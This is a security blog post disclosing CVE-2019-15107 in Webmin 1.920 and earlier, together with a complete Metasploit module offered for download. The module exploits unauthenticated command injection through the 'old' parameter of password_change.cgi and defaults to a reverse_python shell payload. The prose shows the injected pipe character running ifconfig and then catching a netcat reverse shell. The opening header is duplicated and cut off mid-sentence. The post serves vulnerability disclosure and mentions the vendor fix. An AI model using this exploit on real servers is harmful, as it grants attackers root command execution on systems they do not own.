## EDB-ID: 47230 ## CVE-2019-15107 10 Aug, 2019 • EXPLOIT This 0day has been published at @DEFCON AppSec Village Vendor fixed this vulnerability. [Webmin must update to the 1.930 version.](http://webmin.com/changes.html) [Exploit-DB Link](https://www.exploit-db.com/exploits/47230) [CVE-Mitre Link](https://nvd.nist.gov/vuln/detail/CVE-2019-15107) [Download defcon_webmin_unauth_rce.rb](https://pentest.com.tr/blog/defcon-0days-10102019/defcon_webmin_unauth_rce.rb) ## Webmin <= 1.920 - Unauthenticated RCE ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE', 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.920 and prior versions. If the password...
## EDB-ID: 47230 ## CVE-2019-15107 10 Aug, 2019 • EXPLOIT This 0day has been published at @DEFCON AppSec Village Vendor fixed this vulnerability. [Webmin must update to the 1.930 version.](http://webmin.com/changes.html) [Exploit-DB Link](https://www.exploit-db.com/exploits/47230) [CVE-Mitre Link](https://nvd.nist.gov/vuln/detail/CVE-2019-15107) [Download defcon_webmin_unauth_rce.rb](https://pentest.com.tr/blog/defcon-0days-10102019/defcon_webmin_unauth_rce.rb) ## Webmin <= 1.920 - Unauthenticated RCE ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE', 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.920 and prior versions. If the password change module is turned on, the unathenticated user can execute arbitrary commands with root privileges. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-'], ['URL', 'https://www.pentest.com.tr'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.910', {}]], 'DisclosureDate' => 'May 16 2019', 'DefaultTarget' => 0) ) register_options [ OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Target and input verification ## def check # check passwd change priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "password_change.cgi"), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" }) if res && res.code == 200 && res.body =~ /Failed/ res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" }) if res && res.code == 200 && res.body =~ /password_change.cgi/ return CheckCode::Vulnerable else return CheckCode::Safe end else return CheckCode::Safe end end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end command = payload.encoded print_status("Attempting to execute the payload...") handler res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss" }) end end ``` in webmin, the "user password change" must be allowed for the exploit vulnerability. this is the only condition. Many webmin managers enable this feature. They allows users to set a new password with the old password. Let's take a closer look at this. While researching on the Webmin application, I noticed some interesting ".cgi" files. One of them is "password_change.cgi"  There is only one requirement for the parameters in this file to work, that the "passwd_mode" value in the "miniserv.conf" configuration file is set to "2". ``` $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; ```  So how does the administrator activate this configuration? let's check... In the "Webmin> Webmin Configuration> Authentication" section, "Prompt users with expired passwords to enter a new one" should be checked. This means a value of "2" for "password_change" in "miniserv.conf".  After this configuration, users can change their expired password by verifying their old password. So where exactly is the vulnerability? Let's back to "password_change.cgi".  "password_change.cgi" sends the old password to "encrypt_password" function in "acl/acl-lib.pl" This function calls the other function "unix_crypt". In another section, the same function "unix_crypt" is called again for "Validate old password".  At this point, we will use "vertical bar (|)" by reading the shadow file during validating the old password. Let's look at this by sending a request with the burp suite.  We sent a request with an ordinary "POST" data, and naturally gave an error "Failed to change password: The current password is incorrect". The vulnerability is exactly included in the "old" parameter. It doesn't matter if the username, old password or other information is correct. The file "password_change.cgi" will check the information in the "old" parameter on the server. It won't even check if the username is correct or not. we will now use "vertical bar (|)" and try to run a different command on the server.  As you can see, the command "ifconfig" is executed by the server and the output is shown. Now let's send a malicious payload to the server and receive shell session. I'll use "netcat" payload for proof. Because I know there is netcat on the server.   As you can see the shell was received. When we run the command "pwd", we can see that the malicious payload is executed in the "acl" folder. Because the function is called here.  In addition, please read the reddit comments. This vulnerability is likely to be a backdoor. Click Here...